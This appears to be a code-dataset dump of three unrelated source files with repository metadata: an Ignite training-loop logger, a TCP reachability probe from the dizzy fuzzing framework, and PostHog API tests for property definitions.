self.val_eval.add_event_handler(Events.COMPLETED, self._scheduler_step) def _open_csv(self, engine): self.fp = open(self.metrics_file, 'w') self.writer = csv.writer(self.fp) row = ['epoch', 'training_loss', 'training_acc', 'validation_loss', 'validation_acc'] self.writer.writerow(row) def _scheduler_step(self, engine): self.scheduler.step(engine.state.metrics['loss']) def _log_training_loss(self, engine): iteration = (engine.state.iteration-1) % len(self.train_dl) + 1 if iteration % 100 == 0: self.pbar.log_message(f"ITERATION - loss: {engine.state.output:0.4f}") def _log_epoch(self, engine): self.epoch_timer.reset() self.train_eval.run(self.train_dl) self.val_eval.run(self.val_dl) epoch = engine.state.epoch train_metric = self.train_eval.state.metrics valid_metric = self.val_eval.state.metrics train_loss = f"{self.train_eval.state.metrics['loss']:0.3f}" train_acc = f"{self.train_eval.state.metrics['accuracy']:0.3f}" valid_loss = f"{self.val_eval.state.metrics['loss']:0.3f}" valid_acc = f"{self.val_eval.state.metrics['accuracy']:0.3f}" self.pbar.log_message(f"Epoch: {epoch}") self.pbar.log_message(f"Training - Loss: {train_loss}, Accuracy: {train_acc}") self.pbar.log_message(f"Validation - Loss: {valid_loss}, Accuracy: {valid_acc}") self.pbar.log_message(f"Time per batch {self.epoch_timer.value():0.3f}[s]") row = [epoch, f"{train_loss}", f"{train_acc}", f"{valid_loss}", f"{valid_acc}"] self.writer.writerow(row) def _close_csv(self, engine): train_time = str(datetime.timedelta(seconds=self.training_timer.value())) self.pbar.log_message(f"Training Done. Total training time: {train_time}") self.fp.write(f"{train_time}\n") self.fp.close() def run(self): self.trainer.run(self.train_dl, self.n_epochs) @staticmethod def score_fn(engine): valid_loss = engine.state.metrics['loss'] return -valid_loss
true
true
f7f3d3cfd0e9b9e7bd91643e6e6b4f3125b28030
5,503
py
Python
dizzy/probe/tcp.py
0xc0decafe/dizzy
6cf6abf7a9b990fe77618e42651f3c3d286cc15b
[ "BSD-3-Clause" ]
1
2020-11-19T10:11:43.000Z
2020-11-19T10:11:43.000Z
dizzy/probe/tcp.py
0xc0decafe/dizzy
6cf6abf7a9b990fe77618e42651f3c3d286cc15b
[ "BSD-3-Clause" ]
null
null
null
dizzy/probe/tcp.py
0xc0decafe/dizzy
6cf6abf7a9b990fe77618e42651f3c3d286cc15b
[ "BSD-3-Clause" ]
1
2020-11-19T10:12:18.000Z
2020-11-19T10:12:18.000Z
# tcp.py # # Copyright 2017 Daniel Mende <mail@c0decafe.de> # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of the nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. from . import ProbeParseException, ProbeException from dizzy.log import print_dizzy, VERBOSE_1, DEBUG from dizzy.tools import check_root from socket import inet_aton, inet_pton, AF_INET, AF_INET6, socket, SOCK_STREAM, SOL_SOCKET, SO_BROADCAST, \ SO_REUSEADDR, SHUT_RDWR from binascii import unhexlify class DizzyProbe(object): def __init__(self, section_proxy): self.target_host = section_proxy.get('target_host') self.target_port = section_proxy.getint('target_port') self.source_host = section_proxy.get('source_host', None) self.source_port = section_proxy.getint('source_port', None) if not self.source_host is None and self.source_port <= 1024: check_root("use a source port <= 1024") self.timeout = section_proxy.getfloat('timeout', 1) self.retry = section_proxy.getint('retry', 2) self.is_open = False self.socket = None try: inet_aton(self.target_host) self.af = AF_INET except Exception as e: try: inet_pton(AF_INET6, self.target_host) self.af = AF_INET6 except Exception as f: raise ProbeParseException("probe/tcp: unknown address family: %s: %s, %s" % (self.target_host, e, f)) if not self.source_host is None: try: inet_aton(self.source_host) except Exception as e: try: inet_pton(AF_INET6, self.source_host) except Exception as f: raise ProbeParseException("probe/tcp: unknown address family: %s: %s, %s" % (self.source_host, e, f)) else: if not self.af == AF_INET6: raise ProbeParseException("probe/tcp: address family mismatch: %s - %s" % (self.target_host, self.source_host)) else: if not self.af == AF_INET: raise ProbeParseException("probe/tcp: address family mismatch: %s - %s" % (self.target_host, self.source_host)) def open(self): self.is_open = True def probe(self): try: self.socket = socket(self.af, SOCK_STREAM) if self.target_host == "255.255.255.255": self.socket.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.socket.settimeout(self.timeout) if not self.source_host is None and not self.source_port is None: self.socket.bind((self.source_host, self.source_port)) except Exception as e: if not self.socket is None: self.socket.close() self.socket = None print_dizzy("probe/tcp: open error: %s" % e) print_dizzy(e, DEBUG) for attempt in range(1, self.retry + 1): print_dizzy("probe/tcp: probe attempt: %d" % attempt, VERBOSE_1) try: self.socket.connect((self.target_host, self.target_port)) except (ConnectionAbortedError, ConnectionRefusedError) as e: pass except Exception as e: print_dizzy("probe/tcp: probe error: '%s'" % type(e)) print_dizzy(e, DEBUG) else: self.socket.close() self.socket = None return True return False def close(self): if not self.is_open: return if not self.socket is None: self.socket.close() self.socket = None self.is_open = False
45.479339
108
0.6004
from . import ProbeParseException, ProbeException from dizzy.log import print_dizzy, VERBOSE_1, DEBUG from dizzy.tools import check_root from socket import inet_aton, inet_pton, AF_INET, AF_INET6, socket, SOCK_STREAM, SOL_SOCKET, SO_BROADCAST, \ SO_REUSEADDR, SHUT_RDWR from binascii import unhexlify class DizzyProbe(object): def __init__(self, section_proxy): self.target_host = section_proxy.get('target_host') self.target_port = section_proxy.getint('target_port') self.source_host = section_proxy.get('source_host', None) self.source_port = section_proxy.getint('source_port', None) if not self.source_host is None and self.source_port <= 1024: check_root("use a source port <= 1024") self.timeout = section_proxy.getfloat('timeout', 1) self.retry = section_proxy.getint('retry', 2) self.is_open = False self.socket = None try: inet_aton(self.target_host) self.af = AF_INET except Exception as e: try: inet_pton(AF_INET6, self.target_host) self.af = AF_INET6 except Exception as f: raise ProbeParseException("probe/tcp: unknown address family: %s: %s, %s" % (self.target_host, e, f)) if not self.source_host is None: try: inet_aton(self.source_host) except Exception as e: try: inet_pton(AF_INET6, self.source_host) except Exception as f: raise ProbeParseException("probe/tcp: unknown address family: %s: %s, %s" % (self.source_host, e, f)) else: if not self.af == AF_INET6: raise ProbeParseException("probe/tcp: address family mismatch: %s - %s" % (self.target_host, self.source_host)) else: if not self.af == AF_INET: raise ProbeParseException("probe/tcp: address family mismatch: %s - %s" % (self.target_host, self.source_host)) def open(self): self.is_open = True def probe(self): try: self.socket = socket(self.af, SOCK_STREAM) if self.target_host == "255.255.255.255": self.socket.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.socket.settimeout(self.timeout) if not self.source_host is None and not self.source_port is None: self.socket.bind((self.source_host, self.source_port)) except Exception as e: if not self.socket is None: self.socket.close() self.socket = None print_dizzy("probe/tcp: open error: %s" % e) print_dizzy(e, DEBUG) for attempt in range(1, self.retry + 1): print_dizzy("probe/tcp: probe attempt: %d" % attempt, VERBOSE_1) try: self.socket.connect((self.target_host, self.target_port)) except (ConnectionAbortedError, ConnectionRefusedError) as e: pass except Exception as e: print_dizzy("probe/tcp: probe error: '%s'" % type(e)) print_dizzy(e, DEBUG) else: self.socket.close() self.socket = None return True return False def close(self): if not self.is_open: return if not self.socket is None: self.socket.close() self.socket = None self.is_open = False
true
true
f7f3d412c81c4c6d540c965bb32ac2162516fe07
5,120
py
Python
posthog/api/test/test_property_definition.py
FarazPatankar/posthog
dddf2644376d0fd6836ed96c139f6a825c74202f
[ "MIT" ]
1
2020-07-20T17:32:05.000Z
2020-07-20T17:32:05.000Z
posthog/api/test/test_property_definition.py
FarazPatankar/posthog
dddf2644376d0fd6836ed96c139f6a825c74202f
[ "MIT" ]
null
null
null
posthog/api/test/test_property_definition.py
FarazPatankar/posthog
dddf2644376d0fd6836ed96c139f6a825c74202f
[ "MIT" ]
null
null
null
import random from typing import Dict from rest_framework import status from posthog.demo import create_demo_team from posthog.models import Organization, PropertyDefinition, Team from posthog.tasks.calculate_event_property_usage import calculate_event_property_usage_for_team from posthog.test.base import APIBaseTest class TestPropertyDefinitionAPI(APIBaseTest): demo_team: Team = None # type: ignore EXPECTED_PROPERTY_DEFINITIONS = [ {"name": "$current_url", "volume_30_day": 264, "query_usage_30_day": 0, "is_numerical": False}, {"name": "is_first_movie", "volume_30_day": 87, "query_usage_30_day": 0, "is_numerical": False}, {"name": "app_rating", "volume_30_day": 73, "query_usage_30_day": 0, "is_numerical": True}, {"name": "plan", "volume_30_day": 14, "query_usage_30_day": 0, "is_numerical": False}, {"name": "purchase", "volume_30_day": 0, "query_usage_30_day": 0, "is_numerical": True}, {"name": "purchase_value", "volume_30_day": 14, "query_usage_30_day": 0, "is_numerical": True}, {"name": "first_visit", "volume_30_day": 0, "query_usage_30_day": 0, "is_numerical": False}, ] @classmethod def setUpTestData(cls): random.seed(900) super().setUpTestData() cls.demo_team = create_demo_team(cls.organization) calculate_event_property_usage_for_team(cls.demo_team.pk) cls.user.current_team = cls.demo_team cls.user.save() def test_list_property_definitions(self): response = self.client.get("/api/projects/@current/property_definitions/") self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.json()["count"], len(self.EXPECTED_PROPERTY_DEFINITIONS)) self.assertEqual(len(response.json()["results"]), len(self.EXPECTED_PROPERTY_DEFINITIONS)) for item in self.EXPECTED_PROPERTY_DEFINITIONS: response_item: Dict = next((_i for _i in response.json()["results"] if _i["name"] == item["name"]), {}) self.assertEqual(response_item["volume_30_day"], item["volume_30_day"]) self.assertEqual(response_item["query_usage_30_day"], item["query_usage_30_day"]) self.assertEqual(response_item["is_numerical"], item["is_numerical"]) self.assertEqual( response_item["volume_30_day"], PropertyDefinition.objects.get(id=response_item["id"]).volume_30_day, ) def test_pagination_of_property_definitions(self): self.demo_team.event_properties = self.demo_team.event_properties + [f"z_property_{i}" for i in range(1, 301)] self.demo_team.save() response = self.client.get("/api/projects/@current/property_definitions/") self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.json()["count"], 307) self.assertEqual(len(response.json()["results"]), 100) # Default page size self.assertEqual(response.json()["results"][0]["name"], "$current_url") # Order by name (ascending) property_checkpoints = [ 183, 273, 93, ] # Because Postgres's sorter does this: property_1; property_100, ..., property_2, property_200, ..., it's # easier to deterministically set the expected events for i in range(0, 3): response = self.client.get(response.json()["next"]) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.json()["count"], 307) self.assertEqual( len(response.json()["results"]), 100 if i < 2 else 7, ) # Each page has 100 except the last one self.assertEqual(response.json()["results"][0]["name"], f"z_property_{property_checkpoints[i]}") def test_cant_see_property_definitions_for_another_team(self): org = Organization.objects.create(name="Separate Org") team = Team.objects.create(organization=org, name="Default Project") team.event_properties = self.demo_team.event_properties + [f"should_be_invisible_{i}" for i in range(0, 5)] team.save() response = self.client.get("/api/projects/@current/property_definitions/") self.assertEqual(response.status_code, status.HTTP_200_OK) for item in response.json()["results"]: self.assertNotIn("should_be_invisible", item["name"]) # Also can't fetch for a team to which the user doesn't have permissions response = self.client.get(f"/api/projects/{team.pk}/property_definitions/") self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertEqual(response.json(), self.permission_denied_response()) def test_query_property_definitions(self): response = self.client.get("/api/projects/@current/property_definitions/?search=firs") self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.json()["count"], 2) for item in response.json()["results"]: self.assertIn(item["name"], ["is_first_movie", "first_visit"])
50.693069
118
0.680664
import random from typing import Dict from rest_framework import status from posthog.demo import create_demo_team from posthog.models import Organization, PropertyDefinition, Team from posthog.tasks.calculate_event_property_usage import calculate_event_property_usage_for_team from posthog.test.base import APIBaseTest class TestPropertyDefinitionAPI(APIBaseTest): demo_team: Team = None EXPECTED_PROPERTY_DEFINITIONS = [ {"name": "$current_url", "volume_30_day": 264, "query_usage_30_day": 0, "is_numerical": False}, {"name": "is_first_movie", "volume_30_day": 87, "query_usage_30_day": 0, "is_numerical": False}, {"name": "app_rating", "volume_30_day": 73, "query_usage_30_day": 0, "is_numerical": True}, {"name": "plan", "volume_30_day": 14, "query_usage_30_day": 0, "is_numerical": False}, {"name": "purchase", "volume_30_day": 0, "query_usage_30_day": 0, "is_numerical": True}, {"name": "purchase_value", "volume_30_day": 14, "query_usage_30_day": 0, "is_numerical": True}, {"name": "first_visit", "volume_30_day": 0, "query_usage_30_day": 0, "is_numerical": False}, ] @classmethod def setUpTestData(cls): random.seed(900) super().setUpTestData() cls.demo_team = create_demo_team(cls.organization) calculate_event_property_usage_for_team(cls.demo_team.pk) cls.user.current_team = cls.demo_team cls.user.save() def test_list_property_definitions(self): response = self.client.get("/api/projects/@current/property_definitions/") self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.json()["count"], len(self.EXPECTED_PROPERTY_DEFINITIONS)) self.assertEqual(len(response.json()["results"]), len(self.EXPECTED_PROPERTY_DEFINITIONS)) for item in self.EXPECTED_PROPERTY_DEFINITIONS: response_item: Dict = next((_i for _i in response.json()["results"] if _i["name"] == item["name"]), {}) self.assertEqual(response_item["volume_30_day"], item["volume_30_day"]) self.assertEqual(response_item["query_usage_30_day"], item["query_usage_30_day"]) self.assertEqual(response_item["is_numerical"], item["is_numerical"]) self.assertEqual( response_item["volume_30_day"], PropertyDefinition.objects.get(id=response_item["id"]).volume_30_day, ) def test_pagination_of_property_definitions(self): self.demo_team.event_properties = self.demo_team.event_properties + [f"z_property_{i}" for i in range(1, 301)] self.demo_team.save() response = self.client.get("/api/projects/@current/property_definitions/") self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.json()["count"], 307) self.assertEqual(len(response.json()["results"]), 100) self.assertEqual(response.json()["results"][0]["name"], "$current_url") property_checkpoints = [ 183, 273, 93, ] for i in range(0, 3): response = self.client.get(response.json()["next"]) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.json()["count"], 307) self.assertEqual( len(response.json()["results"]), 100 if i < 2 else 7, ) self.assertEqual(response.json()["results"][0]["name"], f"z_property_{property_checkpoints[i]}") def test_cant_see_property_definitions_for_another_team(self): org = Organization.objects.create(name="Separate Org") team = Team.objects.create(organization=org, name="Default Project") team.event_properties = self.demo_team.event_properties + [f"should_be_invisible_{i}" for i in range(0, 5)] team.save() response = self.client.get("/api/projects/@current/property_definitions/") self.assertEqual(response.status_code, status.HTTP_200_OK) for item in response.json()["results"]: self.assertNotIn("should_be_invisible", item["name"]) response = self.client.get(f"/api/projects/{team.pk}/property_definitions/") self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertEqual(response.json(), self.permission_denied_response()) def test_query_property_definitions(self): response = self.client.get("/api/projects/@current/property_definitions/?search=firs") self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.json()["count"], 2) for item in response.json()["results"]: self.assertIn(item["name"], ["is_first_movie", "first_visit"])
true
true